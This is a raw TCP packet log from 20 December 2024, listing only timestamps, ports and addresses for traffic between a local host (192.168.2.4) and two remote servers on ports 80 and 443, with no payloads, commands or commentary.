Dec 20, 2024 04:12:38.876327038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.876398087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.876449108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.876554966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.877371073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.877487898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.877542973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.878345966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.878460884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.878489017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.879388094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.879515886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.879540920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.880150080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.880455971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.880667925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.880841970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.880918026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.881479979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.881536961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.881542921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.881871939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.882493019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.882564068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.882626057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.883528948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.883625984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.883632898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.883680105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.884562969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.884666920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.884690046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.884735107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.885590076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.885667086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.885694027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.886249065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.886656046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.886748075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.886811972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.887061119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.887631893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.887741089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.887754917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.887835979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.888719082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.888844013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.888914108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.889702082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.889759064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.889780998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.890737057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.890836000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.890862942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.891767979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.891820908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.891844988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.892786980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.892819881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.892889023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.893820047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.893845081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.893918991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.894859076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.894881964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.894944906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.895891905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.895919085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.895984888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.896178007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.896914959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.897027016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.897959948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.897984982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.898062944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.898977995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.899002075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.899077892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.899260998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.900019884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.900087118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.900115967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.900197029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.901055098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.901132107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.901171923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.902090073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.902149916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.902173996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.902218103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.903111935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.903250933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.903276920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.903302908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.904129028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.904212952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.904239893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.904325962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.905199051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.905249119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.905255079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.905302048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.906198978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.906250000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.906327963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.906375885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.907222986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.907393932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.907397032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.907495975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.908251047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.908334970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.908376932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.909288883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.909334898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.909475088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.909528971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.910336971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.910393000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.910435915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.911343098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.911453009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.911457062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.911518097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.912424088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.912463903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.912528038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.912623882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.913434982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.913491011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.913552046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.913721085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.914403915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.914443016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.914467096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.914500952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.915463924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.915525913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.915528059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.915560007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.916459084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.916500092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.916543961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.916590929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.917464972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.917526960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.003149033 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.003231049 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.004478931 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.004482985 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.004678965 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.005868912 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.005939960 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.005944014 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.055773973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.055835962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.055857897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.055902958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.056271076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.056314945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.056463957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.056507111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.057320118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.057363033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.057425976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.057571888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.058357000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.058393955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.058456898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.058567047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.059390068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.059432983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.059459925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.059514046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.060441971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.060484886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.060566902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.060606003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.061444998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.061487913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.061539888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.061583996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.062458992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.062503099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.062558889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.062602043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.063479900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.063529015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.063642025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.063685894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.064522982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.064562082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.064632893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.064690113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.065563917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.065660954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.065741062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.065797091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.066606998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.066652060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.066703081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.066745043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.067608118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.067651033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.067722082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.067837000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.068656921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.068697929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.068754911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.068799019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.069670916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.069730997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.069823980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.069864988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.070719957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.070760012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.070768118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.070799112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.071796894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.071842909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.071926117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.071974039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.072779894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.072835922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.072837114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.072869062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.073818922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.073859930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.073923111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.073976994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.074892044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.074927092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.074995995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.075042963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.075879097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.075927019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.075999022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.076040983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.076956987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.077073097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.077115059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.077971935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.078017950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.078141928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.078181982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.078985929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.079031944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.079060078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.079102039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.080064058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.080156088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.080176115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.080214024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.081028938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.081069946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.081137896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.081178904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.082070112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.082113028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.082165956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.082212925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.083107948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.083156109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.083223104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.083264112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.084141016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.084183931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.084248066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.084290981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.085172892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.085216999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.085244894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.085288048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.086194038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.086236000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.086311102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.086370945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.087209940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.087269068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.087294102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.087328911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.088249922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.088291883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.088371992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.088418007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.089284897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.089401960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.089428902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.089446068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.090357065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.090396881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.090420008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.090475082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.091366053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.091408968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.091738939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.091813087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.092369080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.092416048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.092456102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.092545986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.093416929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.093462944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.093512058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.093559027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.094444036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.094485998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.094547033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.094587088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.095457077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.095499992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.095565081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.095606089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.096503973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.096548080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.096616983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.096658945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.097748041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.097789049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.097937107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.097978115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.098573923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.098625898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.098689079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.098731995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.099596024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.099642038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.099704981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.099747896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.100651979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.100693941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.100750923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.100898027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.101680994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.101737022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.101792097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.101831913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.102695942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.102746964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.102767944 CET	80	49838	31.41.244.11	192.168.2.4
